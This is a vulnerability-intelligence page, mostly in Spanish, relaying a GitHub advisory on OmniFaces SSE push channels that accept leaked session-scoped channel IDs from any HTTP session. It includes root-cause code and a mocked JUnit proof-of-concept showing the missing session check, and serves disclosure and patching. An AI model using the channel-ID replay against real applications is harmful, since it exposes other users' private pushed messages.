llamaCVEVulnerability Intelligence
/
Advisory · GitHub · Maven · org.omnifaces:omnifaces

GHSA-W3W6-9M25-G88P

OmniFaces: SSE push channels are not bound to their owning HTTP session

Parche disponible
Descargar PNG JSON
CVSS 3.1
5.9
Media
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche a -114 d de la divulgación
Exposición18 hDesde la divulgación, 19 nov 2026, 3:47 p. m.
Detección1 minDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada +1
Explotación
Remediación
Parche 5.4.3
Monitoreo
Detectada +3
28 jul 26
19 nov 26
20 nov 26
28 jul 26
26 ago 26
24 sept 26
22 oct 26
20 nov 26
FechaFaseEventoDetalle
Remediación Parche 5.4.3 org.omnifaces:omnifaces · -114 d desde divulgación
Monitoreo Detectada Ingresó al índice
Divulgación Publicada GHSA-W3W6-9M25-G88P divulgada · CVSS 5.9 (GitHub)
Divulgación Modificada Última actualización del registro
Monitoreo Fuente: GitHub Security Advisories Registro visto por primera vez en GitHub Security Advisories
Monitoreo Fuente: OSV Registro visto por primera vez en OSV
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

Summary

GHSA-fp43-vj7g-pg92 https://github.com/omnifaces/omnifaces/security/advisories/GHSA-fp43-vj7g-pg92 (fixed 5.4.2) bound session- and view-scoped WebSocket (`o:socket`) push channels to the HTTP session that registered them, so a leaked channel ID can no longer be connected to from a foreign or absent HTTP session. The fix (`d5cae243c4` https://github.com/omnifaces/omnifaces/commit/d5cae243c4692555efaa4ba774e0f8f60e3f4db5) touched only the `Socket*` classes.

The parallel SSE (`o:sse`, added in 5.2) push transport was left unchanged. `SseEndpoint.doGet` accepts a connection whenever the presented channel ID is in the application-wide registry, without ever checking that the caller's HTTP session owns it. A leaked session/view-scoped SSE channel ID can therefore be replayed from any (or no) HTTP session to receive the messages pushed to it — exactly the behaviour the advisory removed for WebSocket, still present on SSE at the latest release.

Root Cause

Both push transports share the same base classes. A session- or view-scoped channel ID is minted as `channel + "?" + UUID.randomUUID()` and registered only in an application-scoped, session-agnostic registry: `PushChannelManager#L123` https://github.com/omnifaces/omnifaces/blob/7cd869c039c22c8a107547ec118717cd9b68305b/src/main/java/org/omnifaces/cdi/push/PushChannelManager.java#L123 mints it and `#L136` https://github.com/omnifaces/omnifaces/blob/7cd869c039c22c8a107547ec118717cd9b68305b/src/main/java/org/omnifaces/cdi/push/PushChannelManager.java#L136 calls `getPushSessions().register(channelId)`; the registry's membership test is `PushSessionManager#L137-L139` https://github.com/omnifaces/omnifaces/blob/7cd869c039c22c8a107547ec118717cd9b68305b/src/main/java/org/omnifaces/cdi/push/PushSessionManager.java#L137-L139:

protected boolean isRegistered(String channelId) {
    return sessions.containsKey(channelId); // keyed by channelId only — no HTTP-session dimension
}

WebSocket (fixed). `SocketChannelManager.register` additionally records session/view channel IDs on the HTTP session, and the handshake refuses anything not owned by the caller's session, at `SocketEndpoint.java#L133-L142` https://github.com/omnifaces/omnifaces/blob/7cd869c039c22c8a107547ec118717cd9b68305b/src/main/java/org/omnifaces/cdi/push/SocketEndpoint.java#L133-L142:

if (
    !SocketChannelManager.isApplicationScopedChannelId(channelId)
        && !SocketChannelManager.isChannelIdRegisteredInSession((HttpSession) request.getHttpSession(), channelId)
) {
    throw new IllegalStateException(ERROR_UNAUTHORIZED_CHANNEL);
}

SSE (unfixed). `SseChannelManager` extends the base `register()` unchanged (no HTTP-session registration), and the endpoint's sole accept gate is the global `isRegistered` check, at `SseEndpoint.java#L59-L66` https://github.com/omnifaces/omnifaces/blob/7cd869c039c22c8a107547ec118717cd9b68305b/src/main/java/org/omnifaces/cdi/push/SseEndpoint.java#L59-L66:

var channel = getChannel(request);
var channelId = channel + "?" + request.getQueryString();
var sseSessions = Beans.getReference(SseSessionManager.class);

if (channel == null || !sseSessions.isRegistered(channelId)) {
    response.getOutputStream().write(SSE_NOT_FOUND_EVENT);
    return;
}
// ...accepts: startAsync() and streams events for this channel

`doGet` never calls `request.getSession(...)`; no `Sse*` class consults the HTTP session for the accept decision. So for a session/view-scoped channel ID the fix intends to bind, WebSocket refuses a foreign/absent session while SSE accepts it. (Application-scoped channels are unbound by design on both transports — not at issue here.)

Related, same root cause: the idle-timeout and max-sessions-per-channel bounds the fix added to `SocketEndpoint` / `SocketSessionManager` were also not ported to SSE — `SseEndpoint.doGet` sets `asyncContext.setTimeout(0)` and `SseSessionManager` inherits the unbounded `getMaxSessionsPerChannel()`.

Steps to Reproduce

The PoC drives the real `SseEndpoint.doGet` from omnifaces 5.4.2 and shows it accepts a leaked session-scoped channel ID from a request carrying no owning HTTP session (and never consults the session), while the WebSocket fix refuses the same class of ID.

Prerequisites
  • JDK 21 or newer (tested on Temurin/Zulu 21 and OpenJDK 25)
  • Apache Maven 3.9+
Step 1: Create the project
mkdir -p /tmp/omnifaces-sse-poc/src/test/java/org/omnifaces/cdi/push
cd /tmp/omnifaces-sse-poc
cat > pom.xml <<'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <groupId>poc</groupId>
    <artifactId>omnifaces-sse-poc</artifactId>
    <version>1.0</version>
    <packaging>jar</packaging>
    <properties>
        <maven.compiler.release>21</maven.compiler.release>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>
    <dependencies>
        <dependency>
            <groupId>org.omnifaces</groupId>
            <artifactId>omnifaces</artifactId>
            <version>5.4.2</version>
        </dependency>
        <dependency>
            <groupId>jakarta.servlet</groupId>
            <artifactId>jakarta.servlet-api</artifactId>
            <version>6.1.0</version>
        </dependency>
        <dependency>
            <groupId>jakarta.enterprise</groupId>
            <artifactId>jakarta.enterprise.cdi-api</artifactId>
            <version>4.1.0</version>
        </dependency>
        <dependency>
            <groupId>jakarta.websocket</groupId>
            <artifactId>jakarta.websocket-api</artifactId>
            <version>2.2.0</version>
        </dependency>
        <dependency>
            <groupId>org.apache.myfaces.core</groupId>
            <artifactId>myfaces-api</artifactId>
            <version>4.1.0</version>
        </dependency>
        <dependency>
            <groupId>jakarta.el</groupId>
            <artifactId>jakarta.el-api</artifactId>
            <version>6.0.0</version>
        </dependency>
        <dependency>
            <groupId>org.junit.jupiter</groupId>
            <artifactId>junit-jupiter</artifactId>
            <version>5.11.3</version>
            <scope>test</scope>
        </dependency>
        <dependency>
            <groupId>org.mockito</groupId>
            <artifactId>mockito-core</artifactId>
            <version>5.14.2</version>
            <scope>test</scope>
        </dependency>
    </dependencies>
    <build>
        <plugins>
            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-surefire-plugin</artifactId>
                <version>3.5.1</version>
            </plugin>
        </plugins>
    </build>
</project>
EOF
Step 2: Add the test
cd /tmp/omnifaces-sse-poc
cat > src/test/java/org/omnifaces/cdi/push/SseChannelBindingPoCTest.java <<'EOF'
package org.omnifaces.cdi.push;

import static org.junit.jupiter.api.Assertions.assertFalse;
import static org.junit.jupiter.api.Assertions.assertTrue;
import static org.mockito.ArgumentMatchers.anyBoolean;
import static org.mockito.Mockito.RETURNS_DEEP_STUBS;
import static org.mockito.Mockito.atLeastOnce;
import static org.mockito.Mockito.mock;
import static org.mockito.Mockito.mockStatic;
import static org.mockito.Mockito.never;
import static org.mockito.Mockito.verify;
import static org.mockito.Mockito.when;

import java.lang.reflect.Field;
import java.util.UUID;

import org.junit.jupiter.api.Test;
import org.mockito.MockedStatic;
import org.omnifaces.util.Beans;

import jakarta.servlet.AsyncContext;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;

// Placed in package org.omnifaces.cdi.push to reach the protected/package-private push internals.
class SseChannelBindingPoCTest {

    // Drives the REAL SseEndpoint.doGet from omnifaces 5.4.2 (the advisory-patched release).
    // A session-scoped SSE channel id that leaked is accepted from a request that carries no
    // owning HTTP session, and the endpoint never even calls getSession().
    @Test
    void sse_endpoint_accepts_leaked_channel_from_a_request_with_no_session() throws Exception {
        SseSessionManager registry = new SseSessionManager();          // the @ApplicationScoped global registry
        setField(registry, "sseUsers", mock(SseUserManager.class));    // consulted by add(); return null user

        String channel = "clock";
        String uuid = UUID.randomUUID().toString();
        String leakedChannelId = channel + "?" + uuid;                 // session-scoped id = channel + "?" + UUID
        registry.register(leakedChannelId);                            // victim's page registered it at push time

        HttpServletRequest request = mock(HttpServletRequest.class, RETURNS_DEEP_STUBS);
        when(request.getPathInfo()).thenReturn("/" + channel);
        when(request.getQueryString()).thenReturn(uuid);
        AsyncContext asyncContext = mock(AsyncContext.class);
        when(request.startAsync()).thenReturn(asyncContext);
        HttpServletResponse response = mock(HttpServletResponse.class, RETURNS_DEEP_STUBS);

        try (MockedStatic<Beans> beans = mockStatic(Beans.class)) {
            beans.when(() -> Beans.getReference(SseSessionManager.class)).thenReturn(registry);

            new SseEndpoint().doGet(request, response);                // the real endpoint

            verify(request).startAsync();                              // accept branch: event stream opened
            assertTrue(registry.isRegistered(leakedChannelId));        // attacker connection registered under victim's id
            verify(request, never()).getSession();                     // endpoint NEVER consults the HTTP session
            verify(request, never()).getSession(anyBoolean());
            verify(response, never()).getOutputStream();               // 404 reject branch NOT taken
            beans.verify(() -> Beans.getReference(SseSessionManager.class), atLeastOnce());
        }
    }

    // The differential: GHSA-fp43-vj7g-pg92 added exactly this binding to the WebSocket transport.
    // For the same class of leaked session-scoped id, a caller with no owning HTTP session is refused.
    @Test
    void websocket_fix_binds_the_same_class_of_id_to_the_http_session() {
        String leakedSessionScopedChannelId = "clock?" + UUID.randomUUID();
        assertFalse(SocketChannelManager.isChannelIdRegisteredInSession(null, leakedSessionScopedChannelId));
        assertFalse(SocketChannelManager.isApplicationScopedChannelId(leakedSessionScopedChannelId));
    }

    private static void setField(Object target, String name, Object value) throws Exception {
        Field field = SseSessionManager.class.getDeclaredField(name);
        field.setAccessible(true);
        field.set(target, value);
    }
}
EOF
Step 3: Run
cd /tmp/omnifaces-sse-poc
mvn -B test -DargLine="-Dnet.bytebuddy.experimental=true"

The `net.bytebuddy.experimental` flag lets Mockito's inline mock maker run on JDK 25; it is harmless on JDK 21-24.

Expected output:

[INFO]  T E S T S
[INFO] Running org.omnifaces.cdi.push.SseChannelBindingPoCTest
[INFO] Tests run: 2, Failures: 0, Errors: 0, Skipped: 0
[INFO] BUILD SUCCESS

`sse_endpoint_accepts_leaked_channel_from_a_request_with_no_session` passing means the real `SseEndpoint.doGet` opened the event stream for the leaked channel ID (`startAsync` called, connection registered, no `404` written) without ever calling `getSession()`. `websocket_fix_binds_the_same_class_of_id_to_the_http_session` passing shows the WebSocket fix refuses that same class of ID for a caller with no owning session.

Suggested Fix

Port the WebSocket session binding to SSE: register session/view scoped channel IDs on the HTTP session (as `SocketChannelManager.registerChannelIdInSession` does) and, in `SseEndpoint.doGet`, refuse the connection unless the channel is application-scoped or `isChannelIdRegisteredInSession(request.getSession(false), channelId)`. Also port the idle-timeout and max-sessions-per-channel bounds to `SseEndpoint` / `SseSessionManager`. (Advisory only.)

Cleanup

rm -rf /tmp/omnifaces-sse-poc

Impact

An application that uses `<o:sse>` / `@Push(type=SSE)` with `scope="session"`, `scope="view"`, or a `user` attribute pushes messages intended for one session/user. The channel ID (`channel + "?" + UUID`) is a per-session/view secret carried in the SSE request URL, so it is exposed anywhere such URLs are logged: proxy and server access logs (CWE-598), APM / error reports, `Referer` headers, or a shared/copied link. An attacker who obtains a victim's channel ID can, from a different browser or with no session at all, connect to the SSE endpoint and receive every message the application pushes to that channel — data the scope exists to keep private to the victim. This is the same replay the maintainer fixed for the WebSocket transport in GHSA-fp43-vj7g-pg92 (issue: session/view channels connectable from a foreign or absent HTTP session), still reachable on SSE at 5.4.2. The concrete confidentiality depends on what the application pushes to the scope; the attacker only receives (no message injection). It requires prior exposure of the channel ID, matching the advisory's own threat model for the WebSocket case.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:H
BajaAlta
PrivilegiosPR:N
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:U
CambiadoSin cambio
ConfidencialidadC:H
AltoBajoNinguno
IntegridadI:N
AltoBajoNinguno
DisponibilidadA:N
AltoBajoNinguno
Versiones

Rangos afectados

Afectada Corregida Última
org.omnifaces:omnifaces≥ 5.2.0 < 5.4.3
5.2.0
5.4.3
5.5.7
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
mavenorg.omnifaces:omnifaces
Corregida 5.4.3 -114 d 5.5.7 no afectada
Versiones corregidas5.4.3
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://nvd.nist.gov/vuln/detail/CVE-2026-109549
Otrahttps://github.com/omnifaces/omnifaces/security/advisories/GHSA-w3w6-9m25-g88p
Otrahttps://github.com/omnifaces/omnifaces/commit/78fe2b6989387f93718bdb932fb4497e338dd638
Otrahttps://github.com/omnifaces/omnifaces

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.